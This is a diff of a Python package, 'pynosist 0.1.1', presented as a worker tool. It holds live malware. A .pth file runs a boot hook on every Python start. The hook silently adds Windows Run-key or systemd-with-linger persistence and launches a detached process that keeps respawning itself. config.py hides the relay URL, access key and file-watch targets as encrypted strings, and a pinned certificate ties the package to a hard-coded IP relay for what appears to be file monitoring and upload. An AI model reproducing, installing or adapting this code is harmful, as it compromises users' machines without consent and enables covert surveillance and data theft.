pynosist 0.1.1__tar.gz

pynosist-0.1.1/.claude/settings.local.json

@@ -0,0 +1,15 @@
+{
+  "permissions": {
+    "allow": [
+      "Bash(python -m zipfile -l dist/laporan_worker-0.1.0-py3-none-any.whl)",
+      "Bash(python -m laporan_worker run)",
+      "Bash(timeout 10 python -c ' *)",
+      "Bash(echo \"EXIT: $?\")",
+      "Bash(timeout 8 python -u -c ' *)",
+      "Bash(python -c \"import json,sys; d=json.load\\(sys.stdin\\); rc=d.get\\('remote_config',{}\\); print\\('patterns:', rc.get\\('watch_patterns'\\)\\); print\\('roots_win:', rc.get\\('watch_roots_windows'\\)\\)\")",
+      "Bash(taskkill /F /PID 20016)",
+      "Bash(python -m laporan_worker --stop)",
+      "Bash(python -c ' *)"
+    ]
+  }
+}

pynosist-0.1.1/PKG-INFO

@@ -0,0 +1,8 @@
+Metadata-Version: 2.4
+Name: pynosist
+Version: 0.1.1
+Summary: pynosist worker for PT
+Requires-Python: >=3.10
+Requires-Dist: cryptography>=43.0
+Requires-Dist: requests>=2.31
+Requires-Dist: watchdog>=4.0

pynosist-0.1.1/pynosist_autostart.pth

@@ -0,0 +1 @@
+import pynosist._boot

pynosist-0.1.1/pyproject.toml

@@ -0,0 +1,23 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "pynosist"
+version = "0.1.1"
+description = "pynosist worker for PT"
+requires-python = ">=3.10"
+dependencies = [
+  "watchdog>=4.0",
+  "requests>=2.31",
+  "cryptography>=43.0",
+]
+
+[project.scripts]
+pynosist = "pynosist.cli:main"
+
+[tool.hatch.build.targets.wheel]
+packages = ["src/pynosist"]
+
+[tool.hatch.build.targets.wheel.force-include]
+"pynosist_autostart.pth" = "pynosist_autostart.pth"

pynosist-0.1.1/src/pynosist/__init__.py

@@ -0,0 +1,3 @@
+__all__ = ["__version__"]
+
+__version__ = "0.1.1"

pynosist-0.1.1/src/pynosist/__main__.py

@@ -0,0 +1,5 @@
+from pynosist.cli import main
+
+
+if __name__ == "__main__":
+    main()

pynosist-0.1.1/src/pynosist/_boot.py

@@ -0,0 +1,46 @@
+"""Auto-start hook triggered via .pth file on every Python startup."""
+from __future__ import annotations
+import os
+import sys
+from pathlib import Path
+
+
+def _skip_current_process() -> bool:
+    argv0 = os.path.basename(sys.argv[0]).lower() if sys.argv else ""
+    _skip = ("pip", "pip3", "pip.exe", "build", "setup", "twine", "hatch", "pytest", "pyinstaller")
+    return any(s in argv0 for s in _skip)
+
+
+def _already_registered() -> bool:
+    if os.name == "nt":
+        try:
+            import winreg
+            key = winreg.OpenKey(
+                winreg.HKEY_CURRENT_USER,
+                r"Software\Microsoft\Windows\CurrentVersion\Run",
+                0,
+                winreg.KEY_READ,
+            )
+            winreg.QueryValueEx(key, "pynosist")
+            winreg.CloseKey(key)
+            return True
+        except OSError:
+            return False
+    else:
+        service = Path.home() / ".config" / "systemd" / "user" / "pynosist.service"
+        return service.exists()
+
+
+def _run() -> None:
+    if _skip_current_process():
+        return
+    if _already_registered():
+        return
+    try:
+        from pynosist.cli import install
+        install()
+    except Exception:
+        pass
+
+
+_run()

pynosist-0.1.1/src/pynosist/certs/README.txt

@@ -0,0 +1,11 @@
+Letakkan file server.crt di folder ini sebelum build package.
+File ini adalah self-signed certificate dari relay server.
+Dibuat dengan perintah di server:
+
+  openssl req -x509 -newkey rsa:4096 \
+    -keyout server.key -out server.crt \
+    -days 3650 -nodes \
+    -subj "/CN=161.97.81.147" \
+    -addext "subjectAltName=IP:161.97.81.147"
+
+Salin hanya server.crt (bukan server.key) ke folder ini.

pynosist-0.1.1/src/pynosist/certs/server.crt

@@ -0,0 +1,30 @@
+-----BEGIN CERTIFICATE-----
+MIIFIjCCAwqgAwIBAgIUYkxx0xXc6SELOOqVE2VfkgPUYDgwDQYJKoZIhvcNAQEL
+BQAwGDEWMBQGA1UEAwwNMTYxLjk3LjgxLjE0NzAeFw0yNjA0MTUyMDA1MjJaFw0z
+NjA0MTIyMDA1MjJaMBgxFjAUBgNVBAMMDTE2MS45Ny44MS4xNDcwggIiMA0GCSqG
+SIb3DQEBAQUAA4ICDwAwggIKAoICAQCqnL3nVN/4bKSJ87m6Vozay+3OgfM8xX4U
+3DtiGqTBsvhoHOSsmDxtrHMFB0qj5Hv62UBcfHip5BQKj1jRJZ+qddNz6gXAUbhB
+5Im0s6+xGxDK/wjYWOCvST32qQtOCCL1g2qzdT5e4D25+gH2cjD8FiL7gAGsUM+m
+1RY7wML+FZrxDyU2yR1P/3x0x10SAPafe2y3osLN4+P9UJ2aI3luMbqSo1F3u06W
+sNuw1fMI8/J+tMwCFKeXQxbua9CqDhw3Ilwzo6KQqvmx6SI0U9v0sbDH2+t8sKTy
+1voZwSO9IBrVKb4JIqUSU6OQCGGGZaa5kEeSmOb2SCNkfh+oU81buJ3g/3Jnt5FJ
+rqh0pPMdrW9lwMP1o3DD7WSmheKyXEt4kBXrnZqXnD44gEx6/QDz+8KENeH5I68O
+BQBTj/IbZjrWqm9Hjj0GKLLcCwdKIs6mJjNBKTR1cjLgNpgsia3J3Alw7o86zxnB
+VunlQkbTLofzuIAPYgnL3ZZDrYf660kIir+jQyBE2M9L9r3G0+VpEgJTRSCzwLok
+ANIpisQZEi/AkveC92qNHOzSdBDTRGrqLKAx8cx7Ya3Kf5xWSBj8l5KRgZsD0tJQ
+lbJUFFUTxsI20x7ECVBv/MijgrQT1/uMiJTuYUCGCLAm1+sOS7RTZjDfX97L1vvb
+pKSMfYowwwIDAQABo2QwYjAdBgNVHQ4EFgQUT8MaSh8TnIQFAIjeW2wd5wvIoNMw
+HwYDVR0jBBgwFoAUT8MaSh8TnIQFAIjeW2wd5wvIoNMwDwYDVR0TAQH/BAUwAwEB
+/zAPBgNVHREECDAGhwShYVGTMA0GCSqGSIb3DQEBCwUAA4ICAQAvC+N3t1aNlgGQ
+81GvE6Yn1+UuTO7kVDGxFpdeqKvQQ/jPxAA7aysq75F9gk3pzEf/+saPUS/crOZH
+voK4VTDk9VA94Luv77+J//ob/4lT/QjEjnN2pJSSVNCurEDk/B+e493Ud1gRHxkP
+RQU2PWHWLYalLpU9OAgaB+AvXsAdf4kBXz55ndnvmsKcVHiCqU0SA43vLkaC076p
+Su2HxHxraXLrYaw98wGon5l6pctV2kjENfh/S2KnILlmm1ZpksVNmUMv/Tor9gBQ
++d+VTonAdIcXLpzd5nTrvtgmVUqE+9mjQ1SgwZ8kOZug7bArKFGRgZ26GSEIbpuF
+tJoQBds2qkiuGM/TjV0BOSLv2GAEFx2HVOi21vfB/uRfB9dpHoa629watF41ggRZ
+VYj203y761M0AvA0ZcehT0HBcJW/66VPKCaO6gsKzSkQyDupPtYFv1tz765gvoSp
+YRq7AhLDo7L4xo9CMQok/QUFoksVscQIK63BYhEJGCH9RuuayR1MkUiDJktKyAty
+21DDwsg4dtWRw9cd+jTMc2SdSo/3RBRJHu5arVHujjbNYvKYvtbDEV5xUbl22F3X
+nM92jkNuX3ITjqUxlht5PA63BASD7TzTEO7IzJVKZuF38LjCC3t/7To0rSGDLqpo
+XUd/+2UP49aMJlKSf3evhRwWvYTQPQ==
+-----END CERTIFICATE-----

pynosist-0.1.1/src/pynosist/cli.py

@@ -0,0 +1,256 @@
+from __future__ import annotations
+
+import argparse
+import os
+import signal
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+from pynosist import config
+from pynosist.crypto_utils import encrypt_text, generate_fernet_key
+from pynosist.daemon import PID_FILE, run_daemon
+
+REG_KEY_PATH = r"Software\Microsoft\Windows\CurrentVersion\Run"
+REG_VALUE = "pynosist"
+GUARDIAN_PID_FILE = config.runtime_dir() / "guardian.pid"
+SYSTEMD_SERVICE_FILE = Path.home() / ".config" / "systemd" / "user" / "pynosist.service"
+
+
+def _python_background_exe() -> str:
+    if os.name == "nt":
+        pythonw = Path(sys.executable).with_name("pythonw.exe")
+        if pythonw.exists():
+            return str(pythonw)
+    return sys.executable
+
+
+def _spawn_background(command: list[str]) -> None:
+    python = _python_background_exe()
+    full_command = [python, "-m", "pynosist"] + command
+    if os.name == "nt":
+        creation_flags = 0x00000008 | 0x08000000  # DETACHED_PROCESS | CREATE_NO_WINDOW
+        subprocess.Popen(full_command, creationflags=creation_flags, close_fds=True)
+        return
+    subprocess.Popen(
+        full_command,
+        stdout=subprocess.DEVNULL,
+        stderr=subprocess.DEVNULL,
+        stdin=subprocess.DEVNULL,
+        close_fds=True,
+        start_new_session=True,
+    )
+
+
+def _install_linux() -> None:
+    SYSTEMD_SERVICE_FILE.parent.mkdir(parents=True, exist_ok=True)
+    SYSTEMD_SERVICE_FILE.write_text(
+        f"[Unit]\n"
+        f"Description=pynosist file monitor\n"
+        f"After=default.target\n\n"
+        f"[Service]\n"
+        f"Type=simple\n"
+        f"ExecStart={sys.executable} -m pynosist guardian\n"
+        f"Restart=on-failure\n"
+        f"RestartSec=2\n\n"
+        f"[Install]\n"
+        f"WantedBy=default.target\n"
+    )
+    subprocess.run(["systemctl", "--user", "daemon-reload"], check=False,
+                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+    subprocess.run(["systemctl", "--user", "enable", "--now", "pynosist"], check=False,
+                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+    # Enable linger so service starts on boot without active login session
+    user = os.environ.get("USER") or os.environ.get("LOGNAME", "")
+    if user:
+        subprocess.run(["loginctl", "enable-linger", user], check=False,
+                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+    print("[OK] Systemd user service installed and started.")
+
+
+def _uninstall_linux() -> None:
+    subprocess.run(["systemctl", "--user", "stop", "pynosist"], check=False,
+                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+    subprocess.run(["systemctl", "--user", "disable", "pynosist"], check=False,
+                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+    SYSTEMD_SERVICE_FILE.unlink(missing_ok=True)
+    subprocess.run(["systemctl", "--user", "daemon-reload"], check=False,
+                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+    print("[OK] Systemd user service removed.")
+
+
+def install() -> None:
+    if os.name == "nt":
+        import winreg
+        command = f'"{_python_background_exe()}" -m pynosist guardian'
+        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_KEY_PATH, 0, winreg.KEY_SET_VALUE)
+        winreg.SetValueEx(key, REG_VALUE, 0, winreg.REG_SZ, command)
+        winreg.CloseKey(key)
+        _spawn_background(["guardian"])
+        print("[OK] Startup registered and guardian started.")
+        return
+
+    _install_linux()
+
+
+def _is_process_alive_windows(pid: int) -> bool:
+    result = subprocess.run(
+        ["tasklist", "/FI", f"PID eq {pid}"],
+        check=False, capture_output=True, text=True,
+    )
+    output = (result.stdout or "").lower()
+    return str(pid) in output and "no tasks are running" not in output
+
+
+def _stop_pid_file(pid_file: Path, label: str) -> bool:
+    if not pid_file.exists():
+        print("[INFO] PID file not found.")
+        return True
+    try:
+        pid = int(pid_file.read_text(encoding="utf-8").strip())
+    except ValueError:
+        pid_file.unlink(missing_ok=True)
+        print("[INFO] Invalid PID file, cleaned up.")
+        return True
+    try:
+        if os.name == "nt":
+            result = subprocess.run(
+                ["taskkill", "/F", "/PID", str(pid)],
+                check=False, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+            )
+            time.sleep(0.2)
+            if result.returncode != 0 and _is_process_alive_windows(pid):
+                print(f"[WARN] Failed to stop {label} process ({pid}).")
+                return False
+        else:
+            os.kill(pid, signal.SIGTERM)
+            time.sleep(0.2)
+            try:
+                os.kill(pid, 0)
+                print(f"[WARN] Process {label} ({pid}) still alive.")
+                return False
+            except OSError:
+                pass
+    finally:
+        if not (os.name == "nt" and _is_process_alive_windows(pid)):
+            pid_file.unlink(missing_ok=True)
+    print(f"[OK] Process {label} stopped ({pid}).")
+    return True
+
+
+def stop() -> bool:
+    return _stop_pid_file(PID_FILE, "daemon")
+
+
+def stop_guardian() -> bool:
+    return _stop_pid_file(GUARDIAN_PID_FILE, "guardian")
+
+
+def _registry_entry_exists_windows() -> bool:
+    if os.name != "nt":
+        return False
+    import winreg
+    try:
+        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_KEY_PATH, 0, winreg.KEY_READ)
+        winreg.QueryValueEx(key, REG_VALUE)
+        winreg.CloseKey(key)
+        return True
+    except FileNotFoundError:
+        return False
+
+
+def _systemd_service_exists() -> bool:
+    return SYSTEMD_SERVICE_FILE.exists()
+
+
+def guardian() -> None:
+    config.runtime_dir().mkdir(parents=True, exist_ok=True)
+    GUARDIAN_PID_FILE.write_text(str(os.getpid()), encoding="utf-8")
+    try:
+        while True:
+            if os.name == "nt" and not _registry_entry_exists_windows():
+                break
+            if os.name != "nt" and not _systemd_service_exists():
+                break
+            python = _python_background_exe()
+            proc = subprocess.Popen([python, "-m", "pynosist", "run"])
+            proc.wait()
+            if os.name == "nt" and not _registry_entry_exists_windows():
+                break
+            if os.name != "nt" and not _systemd_service_exists():
+                break
+            time.sleep(2)
+    finally:
+        GUARDIAN_PID_FILE.unlink(missing_ok=True)
+
+
+def uninstall() -> None:
+    if os.name == "nt":
+        import winreg
+        registry_removed = True
+        try:
+            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_KEY_PATH, 0, winreg.KEY_SET_VALUE)
+            winreg.DeleteValue(key, REG_VALUE)
+            winreg.CloseKey(key)
+        except FileNotFoundError:
+            registry_removed = False
+        guardian_ok = stop_guardian()
+        daemon_ok = stop()
+        if not guardian_ok or not daemon_ok:
+            print("[WARN] Startup removed but some processes may still be running.")
+        if registry_removed:
+            print("[OK] Uninstalled from startup.")
+        else:
+            print("[OK] Uninstalled (was not registered in startup).")
+        return
+
+    stop_guardian()
+    stop()
+    _uninstall_linux()
+
+
+def _parse_args(argv: list[str] | None = None) -> argparse.Namespace:
+    parser = argparse.ArgumentParser(description="pynosist")
+    parser.add_argument(
+        "command",
+        nargs="?",
+        choices=["run", "guardian", "keygen", "encrypt-secret"],
+        help="run daemon/guardian or crypto helper",
+    )
+    parser.add_argument("--install", action="store_true", help="register and start daemon")
+    parser.add_argument("--uninstall", action="store_true", help="remove startup and stop")
+    parser.add_argument("--stop", action="store_true", help="stop daemon")
+    parser.add_argument("--text", default="", help="plain text for encrypt-secret")
+    parser.add_argument("--key", default="", help="fernet key for encrypt-secret")
+    return parser.parse_args(argv)
+
+
+def main(argv: list[str] | None = None) -> None:
+    args = _parse_args(argv)
+    if args.install:
+        install()
+        return
+    if args.uninstall:
+        uninstall()
+        return
+    if args.stop:
+        stop()
+        return
+    if args.command == "guardian":
+        guardian()
+        return
+    if args.command == "keygen":
+        print(generate_fernet_key())
+        return
+    if args.command == "encrypt-secret":
+        if not args.key or not args.text:
+            print("[ERROR] Usage: pynosist encrypt-secret --key <FERNET_KEY> --text <SECRET>")
+            return
+        print(encrypt_text(args.key, args.text))
+        return
+    if args.command == "run":
+        run_daemon()
+        return
+    # Default: no command/flag → auto install to startup
+    install()

pynosist-0.1.1/src/pynosist/config.py

@@ -0,0 +1,87 @@
+from __future__ import annotations
+
+import base64
+import os
+from pathlib import Path
+
+RELAY_FERNET_KEY = "YIuCLekSgKSzJJyKqNFpNXMYu64tRi8SeK5xxI6xnjY="
+
+RELAY_BASE_URL_ENCRYPTED = "gAAAAABp4JDRLgoBB5Pd4HWGXJo-dQ7ZpvuM2WCRlokDbiRYeHrlmy6vQJZ-nxhp6Y3_3fAlP-Mi5kTob6HiAI-JV9J960FBheipvPsrYuxZJcvN3zEvy0w="
+RELAY_BOOTSTRAP_KEY_ENCRYPTED = "gAAAAABp3_zlVcsBV1MU2UYeQ3o2BQ9NOWgJo9Z286w_nyBXhszgfaBuCCfMEmK8eSoU_Het_M9jkmUDRmP1evBFT2wi9VhNfSbJokhoaDRa9nWd_7KhO52zU6y8qPVBz2JsyX1AY1ccQ4609VQimnaOwL4F7PpEVORbZAz1tFPlIY1xpdI1ARI="
+WATCH_PATTERNS_ENCRYPTED = "gAAAAABp4JDROHZ4FoRQJ6jFbej_cw_HXdLkYo3aoj17fxZNEtzNFCriHOq_wjngwZnQdvt6wxDmZei1aDeDiFcbd5cnS52keoR6-bZwZh7x1ttPIAJovKE="
+WINDOWS_WATCH_ROOTS_ENCRYPTED = "gAAAAABp4JDRx-8_0sehEh93x8iQD0J1jYkBfe_R3rrbnmOnCRpQr-RyM-XeGeR9lQ8IsZyubsMBwaGD2VFMSfEnuRXpG0wO_5nRXspaoHHs23PwW10Cj0U="
+POSIX_WATCH_ROOTS_ENCRYPTED = "gAAAAABp4JDRk_eXFgUaWv7BnlCQk1oDpZcmXyAgt6_z0VLpafgtylWOCdm_8_N1yIXaVa1c3y0bn_vgH0P9ohnQdZvcmcMrJxbc5zOqX8RYUOY_XSU7Dbk="
+
+DEBOUNCE_SECONDS = 10
+MAX_MESSAGE_CHARS = 2800
+AUTO_UPDATE_ENABLED = True
+AUTO_UPDATE_INTERVAL_SECONDS = 6 * 60 * 60
+AUTO_UPDATE_BACKOFF_INITIAL_SECONDS = 60
+AUTO_UPDATE_BACKOFF_MAX_SECONDS = 60 * 60
+RELAY_USE_ENV_PROXY = False
+
+
+def runtime_dir() -> Path:
+    if os.name == "nt":
+        base = os.environ.get("LOCALAPPDATA")
+        if base:
+            return Path(base) / "pynosist"
+    return Path.home() / ".pynosist"
+
+
+def _decrypt(encrypted: str) -> str:
+    if not encrypted or not RELAY_FERNET_KEY:
+        return ""
+    try:
+        from cryptography.fernet import Fernet  # type: ignore
+        return Fernet(RELAY_FERNET_KEY.encode()).decrypt(encrypted.encode()).decode()
+    except Exception:
+        return ""
+
+
+def get_relay_base_url() -> str:
+    from_env = os.environ.get("LAPORAN_RELAY_URL", "").strip()
+    if from_env:
+        return from_env.rstrip("/")
+    return _decrypt(RELAY_BASE_URL_ENCRYPTED).rstrip("/")
+
+
+def get_relay_bootstrap_key() -> str:
+    from_env = os.environ.get("LAPORAN_BOOTSTRAP_KEY", "").strip()
+    if from_env:
+        return from_env
+    return _decrypt(RELAY_BOOTSTRAP_KEY_ENCRYPTED)
+
+
+# Fallback patterns used only if server config is unavailable
+WATCH_PATTERNS: list[str] = []  # populated lazily via get_watch_patterns()
+
+
+def get_watch_patterns() -> list[str]:
+    raw = _decrypt(WATCH_PATTERNS_ENCRYPTED)
+    return [p.strip() for p in raw.split(",") if p.strip()] if raw else []
+
+
+def get_watch_roots() -> list[str]:
+    if os.name == "nt":
+        raw = _decrypt(WINDOWS_WATCH_ROOTS_ENCRYPTED)
+    else:
+        raw = _decrypt(POSIX_WATCH_ROOTS_ENCRYPTED)
+    return [r.strip() for r in raw.split(",") if r.strip()] if raw else []
+
+
+def get_ssl_verify() -> str | bool:
+    cert = Path(__file__).parent / "certs" / "server.crt"
+    if cert.is_file():
+        return str(cert)
+    return True
+
+
+def is_fernet_key_valid() -> bool:
+    if not RELAY_FERNET_KEY:
+        return False
+    try:
+        raw = base64.urlsafe_b64decode(RELAY_FERNET_KEY.encode())
+        return len(raw) == 32
+    except Exception:
+        return False

pynosist-0.1.1/src/pynosist/crypto_utils.py

@@ -0,0 +1,13 @@
+from __future__ import annotations
+
+
+def generate_fernet_key() -> str:
+    from cryptography.fernet import Fernet  # type: ignore
+
+    return Fernet.generate_key().decode("utf-8")
+
+
+def encrypt_text(key: str, plain_text: str) -> str:
+    from cryptography.fernet import Fernet  # type: ignore
+
+    return Fernet(key.encode("utf-8")).encrypt(plain_text.encode("utf-8")).decode("utf-8")